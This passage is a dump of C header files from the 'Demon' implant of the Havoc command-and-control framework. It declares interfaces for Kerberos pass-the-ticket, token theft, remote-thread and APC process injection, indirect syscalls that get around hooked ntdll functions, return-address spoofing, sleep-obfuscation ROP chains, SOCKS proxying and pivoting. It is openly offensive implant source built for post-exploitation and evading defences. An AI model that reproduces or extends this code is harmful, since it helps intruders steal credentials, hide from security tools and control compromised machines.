UNICODE_STRING Names[ANYSIZE_ARRAY]; } KERB_EXTERNAL_NAME,*PKERB_EXTERNAL_NAME; typedef struct _KERB_EXTERNAL_TICKET { PKERB_EXTERNAL_NAME ServiceName; PKERB_EXTERNAL_NAME TargetName; PKERB_EXTERNAL_NAME ClientName; UNICODE_STRING DomainName; UNICODE_STRING TargetDomainName; UNICODE_STRING AltTargetDomainName; KERB_CRYPTO_KEY SessionKey; ULONG TicketFlags; ULONG Flags; LARGE_INTEGER KeyExpirationTime; LARGE_INTEGER StartTime; LARGE_INTEGER EndTime; LARGE_INTEGER RenewUntil; LARGE_INTEGER TimeSkew; ULONG EncodedTicketSize; PUCHAR EncodedTicket; } KERB_EXTERNAL_TICKET,*PKERB_EXTERNAL_TICKET; typedef struct _KERB_RETRIEVE_TKT_RESPONSE { KERB_EXTERNAL_TICKET Ticket; } KERB_RETRIEVE_TKT_RESPONSE,*PKERB_RETRIEVE_TKT_RESPONSE; typedef struct _KERB_QUERY_TKT_CACHE_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; } KERB_QUERY_TKT_CACHE_REQUEST, *PKERB_QUERY_TKT_CACHE_REQUEST; typedef struct _LOGON_SESSION_DATA { PSECURITY_LOGON_SESSION_DATA* sessionData; ULONG sessionCount; } LOGON_SESSION_DATA, *PLOGON_SESSION_DATA; BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid ); BOOL Purge( HANDLE hToken, LUID luid ); PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid ); LUID* GetLUID( HANDLE hToken ); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Memory.h000066400000000000000000000017551467014221700241510ustar00rootroot00000000000000#ifndef DEMON_MEMORY_H #define DEMON_MEMORY_H #include typedef enum _DX_MEMORY { DX_MEM_DEFAULT = 0, DX_MEM_WIN32 = 1, DX_MEM_SYSCALL = 2, } DX_MEMORY; PVOID MmHeapAlloc( _In_ ULONG Length ); PVOID MmHeapReAlloc( _In_ PVOID Memory, _In_ ULONG Length ); BOOL MmHeapFree( _In_ PVOID Memory ); PVOID MmVirtualAlloc( IN DX_MEMORY Method, IN HANDLE Process, IN SIZE_T Size, IN DWORD Protect ); BOOL MmVirtualProtect( IN DX_MEMORY Method, IN HANDLE Process, IN PVOID Memory, IN SIZE_T Size, IN DWORD Protect ); BOOL MmVirtualWrite( IN HANDLE Process, OUT PVOID Memory, IN PVOID Buffer, IN SIZE_T Size ); BOOL MmVirtualFree( IN HANDLE Process, OUT PVOID Memory ); PVOID MmGadgetFind( _In_ PVOID Memory, _In_ SIZE_T Length, _In_ PVOID PatternBuffer, _In_ SIZE_T PatternLength ); BOOL FreeReflectiveLoader( IN PVOID BaseAddress ); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/MiniStd.h000066400000000000000000000023331467014221700242410ustar00rootroot00000000000000#ifndef DEMON_DSTDIO_H #define DEMON_DSTDIO_H #include #define MemCopy __builtin_memcpy #define MemSet __stosb #define MemZero( p, l ) __stosb( p, 0, l ) #define NO_INLINE __attribute__ ((noinline)) INT StringCompareA( LPCSTR String1, LPCSTR String2 ); INT StringCompareW( LPWSTR String1, LPWSTR String2 ); INT StringNCompareW( LPWSTR String1, LPWSTR String2, INT Length ); INT StringNCompareIW( LPWSTR String1, LPWSTR String2, INT Length ); PCHAR StringCopyA( PCHAR String1, PCHAR String2 ); PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2); SIZE_T StringLengthA( LPCSTR String ); SIZE_T StringLengthW( LPCWSTR String ); PCHAR StringConcatA(PCHAR String, PCHAR String2); PWCHAR StringConcatW(PWCHAR String, PWCHAR String2); PCHAR StringTokenA(PCHAR String, CONST PCHAR Delim); LPWSTR WcsStr( PWCHAR String, PWCHAR String2 ); LPWSTR WcsIStr( PWCHAR String, PWCHAR String2 ); INT MemCompare( PVOID s1, PVOID s2, INT len ); UINT64 GetSystemFileTime( ); BYTE HideChar( BYTE C ); SIZE_T WCharStringToCharString( PCHAR Destination, PWCHAR Source, SIZE_T MaximumAllowed ); SIZE_T CharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed ); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/ObjectApi.h000066400000000000000000000062531467014221700245370ustar00rootroot00000000000000#ifndef DEMON_OBJECTAPI_H #define DEMON_OBJECTAPI_H #include typedef struct { UINT_PTR NameHash; PVOID Pointer; } COFFAPIFUNC; extern COFFAPIFUNC BeaconApi[]; extern DWORD BeaconApiCounter; extern COFFAPIFUNC LdrApi[]; extern COFFAPIFUNC NtApi[]; #define CALLBACK_OUTPUT 0x0 #define CALLBACK_OUTPUT_OEM 0x1e #define CALLBACK_ERROR 0x0d #define CALLBACK_OUTPUT_UTF8 0x20 typedef struct { PCHAR original; /* the original buffer [so we can free it] */ PCHAR buffer; /* current pointer into our buffer */ INT length; /* remaining length of data */ INT size; /* total size of this buffer */ } datap, *PDATA, *PFORMAT; typedef struct { char * ptr; size_t size; } HEAP_RECORD; #define MASK_SIZE 13 typedef struct { char * sleep_mask_ptr; DWORD sleep_mask_text_size; DWORD sleep_mask_total_size; char * beacon_ptr; DWORD * sections; HEAP_RECORD * heap_records; char mask[MASK_SIZE]; } BEACON_INFO; #define DATA_STORE_TYPE_EMPTY 0 #define DATA_STORE_TYPE_GENERAL_FILE 1 typedef struct { int type; DWORD64 hash; BOOL masked; char* buffer; size_t length; } DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; VOID BeaconDataParse( PDATA parser, PCHAR buffer, INT size ); INT BeaconDataInt( PDATA parser ); SHORT BeaconDataShort( PDATA parser ); INT BeaconDataLength( PDATA parser ); PCHAR BeaconDataExtract( PDATA parser, PINT size ); VOID BeaconFormatAlloc( PFORMAT format, INT maxsz ); VOID BeaconFormatReset( PFORMAT format ); VOID BeaconFormatFree( PFORMAT format ); VOID BeaconFormatAppend( PFORMAT format, PCHAR text, INT len ); VOID BeaconFormatPrintf( PFORMAT format, PCHAR fmt, ... ); PCHAR BeaconFormatToString( PFORMAT format, PINT size ); VOID BeaconFormatInt( PFORMAT format, INT value ); VOID BeaconPrintf( INT Type, PCHAR fmt, ... ); VOID BeaconOutput( INT Type, PCHAR data, INT len ); /* Token Functions */ BOOL BeaconUseToken( HANDLE token ); BOOL BeaconIsAdmin(); /* Spawn+Inject Functions */ VOID BeaconGetSpawnTo( BOOL x86, PCHAR buffer, INT length ); BOOL BeaconSpawnTemporaryProcess( BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo ); VOID BeaconInjectProcess( HANDLE hProc, INT pid, PCHAR payload, INT p_len, INT p_offset, PCHAR arg, INT a_len ); VOID BeaconInjectTemporaryProcess( PROCESS_INFORMATION * pInfo, PCHAR payload, INT p_len, INT p_offset, PCHAR arg, INT a_len ); VOID BeaconCleanupProcess( PROCESS_INFORMATION* pInfo ); /* Utility Functions */ BOOL toWideChar( PCHAR src, PWCHAR dst, INT max ); UINT32 swap_endianess( UINT32 indata ); BOOL GetRequestIDForCallingObjectFile( PVOID CoffeeFunctionReturn, PUINT32 RequestID ); VOID BeaconInformation(BEACON_INFO * info); BOOL BeaconAddValue(const char * key, void * ptr); PVOID BeaconGetValue(const char * key); BOOL BeaconRemoveValue(const char * key); PDATA_STORE_OBJECT BeaconDataStoreGetItem(SIZE_T index); VOID BeaconDataStoreProtectItem(SIZE_T index); VOID BeaconDataStoreUnprotectItem(SIZE_T index); SIZE_T BeaconDataStoreMaxEntries(); /* Beacon User Data functions */ PCHAR BeaconGetCustomUserData(); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Package.h000066400000000000000000000040061467014221700242240ustar00rootroot00000000000000#ifndef CALLBACK_PACKAGE_H #define CALLBACK_PACKAGE_H #include #define DEMON_MAX_REQUEST_LENGTH 0x300000 // 3 MiB typedef struct _PACKAGE { UINT32 RequestID; UINT32 CommandID; PVOID Buffer; SIZE_T Length; BOOL Encrypt; BOOL Destroy; /* destroy this package after Transmit */ BOOL Included; struct _PACKAGE* Next; } PACKAGE, *PPACKAGE; /* Package generator */ PPACKAGE PackageCreate( UINT32 CommandID ); PPACKAGE PackageCreateWithMetaData( UINT32 CommandID ); PPACKAGE PackageCreateWithRequestID( UINT32 CommandID, UINT32 RequestID ); /* PackageAddInt32 * package => pointer to package response struct * dataInt => unsigned 32-bit integer data to add to the response * Description: Add unsigned 32-bit integer to the response buffer */ VOID PackageAddInt32( PPACKAGE package, UINT32 iData ); VOID PackageAddInt64( PPACKAGE Package, UINT64 dataInt ); VOID PackageAddBool( _Inout_ PPACKAGE Package, IN BOOLEAN Data ); VOID PackageAddPtr( PPACKAGE Package, PVOID pointer ); // PackageAddBytes VOID PackageAddBytes( PPACKAGE package, PBYTE data, SIZE_T dataSize ); VOID PackageAddString( PPACKAGE package, PCHAR data ); VOID PackageAddWString( PPACKAGE package, PWCHAR data ); // PackageAddBytes VOID PackageAddPad( PPACKAGE package, PCHAR data, SIZE_T dataSize ); // PackageDestroy VOID PackageDestroy( PPACKAGE package ); // PackageTransmit BOOL PackageTransmitNow( PPACKAGE Package, PVOID* Response, PSIZE_T Size ); // PackageQueue VOID PackageTransmit( IN PPACKAGE Package ); // PackageQueue BOOL PackageTransmitAll( PVOID* Response, PSIZE_T Size ); VOID PackageTransmitError( UINT32 CommandID, UINT32 ErrorCode ); #define PACKAGE_ERROR_WIN32 PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); #define PACKAGE_ERROR_NTSTATUS( s ) PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( s ) ); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Parser.h000066400000000000000000000014241467014221700241260ustar00rootroot00000000000000#ifndef DEMON_PARSER_H #define DEMON_PARSER_H #include typedef struct { PCHAR Original; PCHAR Buffer; UINT32 Size; UINT32 Length; UINT32 TaskID; BOOL Endian; } PARSER, *PPARSER; VOID ParserNew( PPARSER parser, PBYTE buffer, UINT32 size ); VOID ParserDecrypt( PPARSER parser, PBYTE Key, PBYTE IV ); INT16 ParserGetInt16( PPARSER parser ); BYTE ParserGetByte( PPARSER parser ); INT ParserGetInt32( PPARSER parser ); INT64 ParserGetInt64( PPARSER parser ); BOOL ParserGetBool( PPARSER parser ); PBYTE ParserGetBytes( PPARSER parser, PUINT32 size ); PCHAR ParserGetString( PPARSER parser, PUINT32 size ); PWCHAR ParserGetWString( PPARSER parser, PUINT32 size ); VOID ParserDestroy( PPARSER Parser ); #endif //DEMON_PARSER_H havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Pivot.h000066400000000000000000000010231467014221700237660ustar00rootroot00000000000000#ifndef DEMON_PIVOT_H #define DEMON_PIVOT_H #include #define MAX_SMB_PACKETS_PER_LOOP 30 typedef struct _PIVOT_DATA { UINT32 DemonID; BUFFER PipeName; HANDLE Handle; struct _PIVOT_DATA* Next; } PIVOT_DATA, *PPIVOT_DATA; BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize ); BOOL PivotRemove( DWORD DemonId ); DWORD PivotCount(); PPIVOT_DATA PivotGet( DWORD AgentID ); UINT32 PivotParseDemonID( PVOID Response, SIZE_T Size ); VOID PivotPush(); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Process.h000066400000000000000000000001141467014221700243030ustar00rootroot00000000000000#ifndef DEMON_PROCESS_H #define DEMON_PROCESS_H #endif //DEMON_PROCESS_H havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Runtime.h000066400000000000000000000007371467014221700243230ustar00rootroot00000000000000#ifndef DEMON_RUNTIME_H #define DEMON_RUNTIME_H #include BOOL RtAdvapi32( VOID ); BOOL RtMscoree( VOID ); BOOL RtOleaut32( VOID ); BOOL RtUser32( VOID ); BOOL RtShell32( VOID ); BOOL RtMsvcrt( VOID ); BOOL RtIphlpapi( VOID ); BOOL RtGdi32( VOID ); BOOL RtNetApi32( VOID ); BOOL RtWs2_32( VOID ); BOOL RtSspicli( VOID ); BOOL RtAmsi( VOID ); #ifdef TRANSPORT_HTTP BOOL RtWinHttp( VOID ); #endif #endifhavoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/SleepObf.h000066400000000000000000000015661467014221700244000ustar00rootroot00000000000000 #ifndef DEMON_SLEEPOBF_H #define DEMON_SLEEPOBF_H #include #define SLEEPOBF_NO_OBF 0x0 #define SLEEPOBF_EKKO 0x1 #define SLEEPOBF_ZILEAN 0x2 #define SLEEPOBF_FOLIAGE 0x3 #define SLEEPOBF_BYPASS_NONE 0 #define SLEEPOBF_BYPASS_JMPRAX 0x1 #define SLEEPOBF_BYPASS_JMPRBX 0x2 #define OBF_JMP( i, p ) \ if ( JmpBypass == SLEEPOBF_BYPASS_JMPRAX ) { \ Rop[ i ].Rax = U_PTR( p ); \ } if ( JmpBypass == SLEEPOBF_BYPASS_JMPRBX ) { \ Rop[ i ].Rbx = U_PTR( & p ); \ } else { \ Rop[ i ].Rip = U_PTR( p ); \ } typedef struct { DWORD Length; DWORD MaximumLength; PVOID Buffer; } USTRING; typedef struct _SLEEP_PARAM { UINT32 TimeOut; PVOID Master; PVOID Slave; } SLEEP_PARAM, *PSLEEP_PARAM; VOID SleepObf( ); #endifhavoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Socket.h000066400000000000000000000051351467014221700241250ustar00rootroot00000000000000#include #define SOCKET_TYPE_NONE 0x0 #define SOCKET_TYPE_REVERSE_PORTFWD 0x1 #define SOCKET_TYPE_REVERSE_PROXY 0x2 #define SOCKET_TYPE_CLIENT 0x3 #define SOCKET_COMMAND_RPORTFWD_ADD 0x0 #define SOCKET_COMMAND_RPORTFWD_ADDLCL 0x1 #define SOCKET_COMMAND_RPORTFWD_LIST 0x2 #define SOCKET_COMMAND_RPORTFWD_CLEAR 0x3 #define SOCKET_COMMAND_RPORTFWD_REMOVE 0x4 #define SOCKET_COMMAND_SOCKSPROXY_ADD 0x5 #define SOCKET_COMMAND_SOCKSPROXY_LIST 0x6 #define SOCKET_COMMAND_SOCKSPROXY_REMOVE 0x7 #define SOCKET_COMMAND_SOCKSPROXY_CLEAR 0x8 #define SOCKET_COMMAND_OPEN 0x10 #define SOCKET_COMMAND_READ 0x11 #define SOCKET_COMMAND_WRITE 0x12 #define SOCKET_COMMAND_CLOSE 0x13 #define SOCKET_COMMAND_CONNECT 0x14 /* Errors */ #define SOCKET_ERROR_ALREADY_BOUND 0x1 typedef struct sockaddr_in6 { ADDRESS_FAMILY sin6_family; USHORT sin6_port; ULONG sin6_flowinfo; IN6_ADDR sin6_addr; union { ULONG sin6_scope_id; SCOPE_ID sin6_scope_struct; }; } SOCKADDR_IN6_LH, *PSOCKADDR_IN6_LH, *LPSOCKADDR_IN6_LH; typedef struct _SOCKET_DATA { DWORD ID; DWORD ParentID; SOCKET Socket; /* what kind of socket this is */ DWORD Type; /* Is marked to be removed? */ BOOL ShouldRemove; /* Bind Host and Port data */ DWORD IPv4; PBYTE IPv6; DWORD LclPort; /* Forward Host and Port data */ DWORD FwdAddr; DWORD FwdPort; /* pointer to the next Socket data */ struct _SOCKET_DATA* Next; } SOCKET_DATA, *PSOCKET_DATA; /*! * Initiates the use of the Winsock DLL. * This is needed for Socks5 and HTTP(S) agents. * @return TRUE or FALSE */ BOOL InitWSA( VOID ); /*! * Create a new socket and insert it into the linked list. * if Type param is not SOCKET_TYPE_NONE then it is going to bind * to the specified Address and Port. * @param Socket * @param Type * @param UseIpv4 * @param IPv4 * @param IPv6 * @param LclPort * @param FwdAddr * @param FwdPort * @param ParentID * @return SocketData object pointer */ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PBYTE IPv6, DWORD LclPort, DWORD FwdAddr, DWORD FwdPort, DWORD ParentID ); /* Check for new connections, read everything from the sockets and or close "dead" sockets */ VOID SocketPush(); /*! * Query the IPv4 from the specified domain * @param Domain * @return IPv4 address */ DWORD DnsQueryIPv4( LPSTR Domain ); /*! * Query the IPv6 from the specified domain * @param Domain * @return IPv6 address */ PBYTE DnsQueryIPv6( LPSTR Domain ); havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Spoof.h000066400000000000000000000042571467014221700237670ustar00rootroot00000000000000#ifndef DEMON_SPOOF_H #define DEMON_SPOOF_H #include // NOTE: this code is taken from AceLdr by kyleavery. So huge credit goes to him. https://github.com/kyleavery/AceLdr #if _WIN64 typedef struct { PVOID Trampoline; PVOID Function; PVOID Rbx; } PRM, *PPRM; static ULONG_PTR Spoof(); #define SPOOF_X( function, module, size ) SpoofRetAddr( function, module, size, NULL, NULL, NULL, NULL, NULL, NULL, NULL ) #define SPOOF_A( function, module, size, a ) SpoofRetAddr( function, module, size, a, NULL, NULL, NULL, NULL, NULL, NULL, NULL ) #define SPOOF_B( function, module, size, a, b ) SpoofRetAddr( function, module, size, a, b, NULL, NULL, NULL, NULL, NULL, NULL ) #define SPOOF_C( function, module, size, a, b, c ) SpoofRetAddr( function, module, size, a, b, c, NULL, NULL, NULL, NULL, NULL ) #define SPOOF_D( function, module, size, a, b, c, d ) SpoofRetAddr( function, module, size, a, b, c, d, NULL, NULL, NULL, NULL ) #define SPOOF_E( function, module, size, a, b, c, d, e ) SpoofRetAddr( function, module, size, a, b, c, d, e, NULL, NULL, NULL ) #define SPOOF_F( function, module, size, a, b, c, d, e, f ) SpoofRetAddr( function, module, size, a, b, c, d, e, f, NULL, NULL ) #define SPOOF_G( function, module, size, a, b, c, d, e, f, g ) SpoofRetAddr( function, module, size, a, b, c, d, e, f, g, NULL ) #define SPOOF_H( function, module, size, a, b, c, d, e, f, g, h ) SpoofRetAddr( function, module, size, a, b, c, d, e, f, g, h ) #define SETUP_ARGS(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12, ...) arg12 #define SPOOF_MACRO_CHOOSER(...) SETUP_ARGS(__VA_ARGS__, SPOOF_H, SPOOF_G, SPOOF_F, SPOOF_E, SPOOF_D, SPOOF_C, SPOOF_B, SPOOF_A, SPOOF_X, ) #define SpoofFunc(...) SPOOF_MACRO_CHOOSER(__VA_ARGS__)(__VA_ARGS__) PVOID SpoofRetAddr( _In_ PVOID Module, _In_ ULONG Size, _In_ HANDLE Function, _Inout_ PVOID a, _Inout_ PVOID b, _Inout_ PVOID c, _Inout_ PVOID d, _Inout_ PVOID e, _Inout_ PVOID f, _Inout_ PVOID g, _Inout_ PVOID h ); #endif #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/SysNative.h000066400000000000000000000205561467014221700246260ustar00rootroot00000000000000#ifndef DEMON_SYSNATIVE_H #define DEMON_SYSNATIVE_H #include #include /* define the OPT param option */ #ifndef OPT #define OPT #endif #define SYSCALL_INVOKE( SYS_NAME, ... ) \ if ( Instance->Config.Implant.SysIndirect && Instance->Syscall.SysAddress && Instance->Syscall.SYS_NAME ) { \ SysConfig.Ssn = Instance->Syscall.SYS_NAME; \ SysConfig.Adr = Instance->Syscall.SysAddress; \ SysSetConfig( &SysConfig ); \ NtStatus = SysInvoke( __VA_ARGS__ ); \ } else { \ NtStatus = Instance->Win32.SYS_NAME( __VA_ARGS__ ); \ } \ PRINTF( "%s( ... ) = %08x\n", #SYS_NAME, NtStatus ) NTSTATUS NTAPI SysNtOpenThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN OPT PCLIENT_ID ClientId ); NTSTATUS NTAPI SysNtOpenThreadToken( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI SysNtOpenProcess( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN OPT PCLIENT_ID ClientId ); NTSTATUS NTAPI SysNtTerminateProcess( IN OPTIONAL HANDLE ProcessHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI SysNtOpenProcessToken( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI SysNtDuplicateToken( IN HANDLE ExistingTokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN EffectiveOnly, IN TOKEN_TYPE TokenType, OUT PHANDLE NewTokenHandle ); NTSTATUS NTAPI SysNtQueueApcThread( IN HANDLE ThreadHandle, IN PPS_APC_ROUTINE ApcRoutine, IN OPT PVOID ApcArgument1, IN OPT PVOID ApcArgument2, IN OPT PVOID ApcArgument3 ); NTSTATUS NTAPI SysNtSuspendThread( IN HANDLE ThreadHandle, OUT OPT PULONG PreviousSuspendCount ); NTSTATUS NTAPI SysNtResumeThread( IN HANDLE ThreadHandle, OUT OPT PULONG PreviousSuspendCount ); NTSTATUS NTAPI SysNtCreateEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN OPT POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ); NTSTATUS NTAPI SysNtCreateThreadEx( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, IN PVOID lpBytesBuffer ); NTSTATUS NTAPI SysNtDuplicateObject( IN HANDLE SourceProcessHandle, IN HANDLE SourceHandle, IN OPT HANDLE TargetProcessHandle, OUT PHANDLE TargetHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Options ); NTSTATUS NTAPI SysNtGetContextThread ( IN HANDLE ThreadHandle, IN OUT PCONTEXT ThreadContext ); NTSTATUS NTAPI SysNtSetContextThread ( IN HANDLE ThreadHandle, IN OUT PCONTEXT ThreadContext ); NTSTATUS NTAPI SysNtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT OPT PULONG ReturnLength ); NTSTATUS NTAPI SysNtQuerySystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT OPT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPT PULONG ReturnLength ); NTSTATUS NTAPI SysNtWaitForSingleObject( IN HANDLE Handle, IN BOOLEAN Alertable, IN OPT PLARGE_INTEGER Timeout ); NTSTATUS NTAPI SysNtAllocateVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG_PTR ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ); NTSTATUS NTAPI SysNtWriteVirtualMemory ( IN HANDLE ProcessHandle, IN OPT PVOID BaseAddress, IN CONST VOID* Buffer, IN SIZE_T BufferSize, OUT OPT PSIZE_T NumberOfBytesWritten ); NTSTATUS NTAPI SysNtFreeVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG FreeType ); NTSTATUS NTAPI SysNtUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); NTSTATUS NTAPI SysNtProtectVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect ); NTSTATUS NTAPI SysNtReadVirtualMemory ( IN HANDLE ProcessHandle, IN OPT PVOID BaseAddress, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPT PSIZE_T NumberOfBytesRead ); NTSTATUS NTAPI SysNtTerminateThread( IN OPT HANDLE ThreadHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI SysNtAlertResumeThread( IN HANDLE ThreadHandle, OUT OPT PULONG PreviousSuspendCount ); NTSTATUS NTAPI SysNtSignalAndWaitForSingleObject( IN HANDLE SignalHandle, IN HANDLE WaitHandle, IN BOOLEAN Alertable, IN OPT PLARGE_INTEGER Timeout ); NTSTATUS NTAPI SysNtQueryVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN SIZE_T MemoryInformationLength, OUT OPT PSIZE_T ReturnLength ); NTSTATUS NTAPI SysNtQueryInformationToken ( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, OUT PVOID TokenInformation, IN ULONG TokenInformationLength, OUT PULONG ReturnLength ); NTSTATUS NTAPI SysNtQueryInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT OPT PULONG ReturnLength ); NTSTATUS NTAPI SysNtQueryObject( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, OUT PVOID ObjectInformation, IN ULONG ObjectInformationLength, OUT PULONG ReturnLength ); NTSTATUS NTAPI SysNtClose ( IN HANDLE Handle ); NTSTATUS NTAPI SysNtSetInformationThread ( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength ); NTSTATUS NTAPI SysNtSetInformationVirtualMemory( IN HANDLE ProcessHandle, IN VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, IN ULONG_PTR NumberOfEntries, IN PMEMORY_RANGE_ENTRY VirtualAddresses, IN PVOID VmInformation, IN ULONG VmInformationLength ); NTSTATUS NTAPI SysNtGetNextThread( IN HANDLE ProcessHandle, IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewThreadHandle ); #endif // DEMON_SYSNATIVE_Hhavoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Syscalls.h000066400000000000000000000032431467014221700244700ustar00rootroot00000000000000 #ifndef DEMON_SYSCALLS_H #define DEMON_SYSCALLS_H #include #include /* Syscall functions */ #define SYS_ASM_RET 0xC3 #define SYS_RANGE 0x1E #if _WIN64 #define SYSCALL_ASM 0x050F #define SSN_OFFSET_1 0x4 #define SSN_OFFSET_2 0x5 #else #define SYSCALL_ASM 0x340f #define SSN_OFFSET_1 0x1 #define SSN_OFFSET_2 0x2 #endif #define SYS_EXTRACT( NtName ) \ if ( Instance->Win32.NtName ) { \ SysExtract( \ Instance->Win32.NtName, \ TRUE, \ &Instance->Syscall.NtName, \ NULL \ ); \ PRINTF( "Extracted \"%s\": [Ssn: %x] Ptr:[%p]\n", #NtName, Instance->Syscall.NtName, Instance->Win32.NtName ) \ } typedef struct _SYS_CONFIG { PVOID Adr; /* indirect syscall instruction address */ WORD Ssn; /* syscall service number */ } SYS_CONFIG, *PSYS_CONFIG; BOOL SysInitialize( IN PVOID Ntdll ); BOOL SysExtract( IN PVOID Function, IN BOOL ResolveHooked, OUT PWORD Ssn, OUT PVOID* Addr ); BOOL FindSsnOfHookedSyscall( IN PVOID Function, OUT PWORD Ssn ); VOID SysSetConfig( IN PSYS_CONFIG Config ); NTSTATUS SysInvoke( _Inout_ /* Args... */ ); BOOL IsWoW64(); #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Thread.h000066400000000000000000000026721467014221700241070ustar00rootroot00000000000000#ifndef DEMON_THREAD_H #define DEMON_THREAD_H #include #include /* thread execution methods */ #define THREAD_METHOD_DEFAULT 0 #define THREAD_METHOD_CREATEREMOTETHREAD 1 #define THREAD_METHOD_NTCREATEHREADEX 2 #define THREAD_METHOD_NTQUEUEAPCTHREAD 3 #if _M_IX86 // Definitions used for running native x64 code from a wow64 process (see executex64.asm) typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter ); typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter ); ULONG_PTR ExecuteX64( PVOID Function, PVOID Context ); ULONG_PTR RemoteThreadX64( VOID ); // The context used for injection via migrate_via_remotethread_wow64 typedef struct _WOW64CONTEXT { union { HANDLE hProcess; BYTE bPadding2[8]; } h; union { LPVOID lpStartAddress; BYTE bPadding1[8]; } s; union { LPVOID lpParameter; BYTE bPadding2[8]; } p; union { HANDLE hThread; BYTE bPadding2[8]; } t; } WOW64CONTEXT, * LPWOW64CONTEXT; #endif BOOL ThreadQueryTib( IN PVOID Adr, OUT PNT_TIB Tib ); HANDLE ThreadCreateWoW64( IN BYTE Method, IN HANDLE Process, IN PVOID Entry, IN PVOID Arg ); HANDLE ThreadCreate( IN BYTE Method, IN HANDLE Process, IN BOOL x64, IN PVOID Entry, IN PVOID Arg, OUT PDWORD ThreadId ); #endif //DEMON_THREAD_H havoc-0.6~git20240910.69ce17c/payloads/Demon/include/core/Token.h000066400000000000000000000104511467014221700237520ustar00rootroot00000000000000#ifndef DEMON_TOKEN_H #define DEMON_TOKEN_H #include #include #define TOKEN_TYPE_STOLEN 0x1 #define TOKEN_TYPE_MAKE_NETWORK 0x2 #define TOKEN_OWNER_FLAG_DEFAULT 0x0 /* query domain/user */ #define TOKEN_OWNER_FLAG_USER 0x1 /* query user only */ #define TOKEN_OWNER_FLAG_DOMAIN 0x2 /* query domain only */ #define MAX_PROCESSES 5000 #define BUF_SIZE 4096 #define MAX_USERNAME 512 #define RtlOffsetToPointer(B,O) ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O)) )) #ifndef 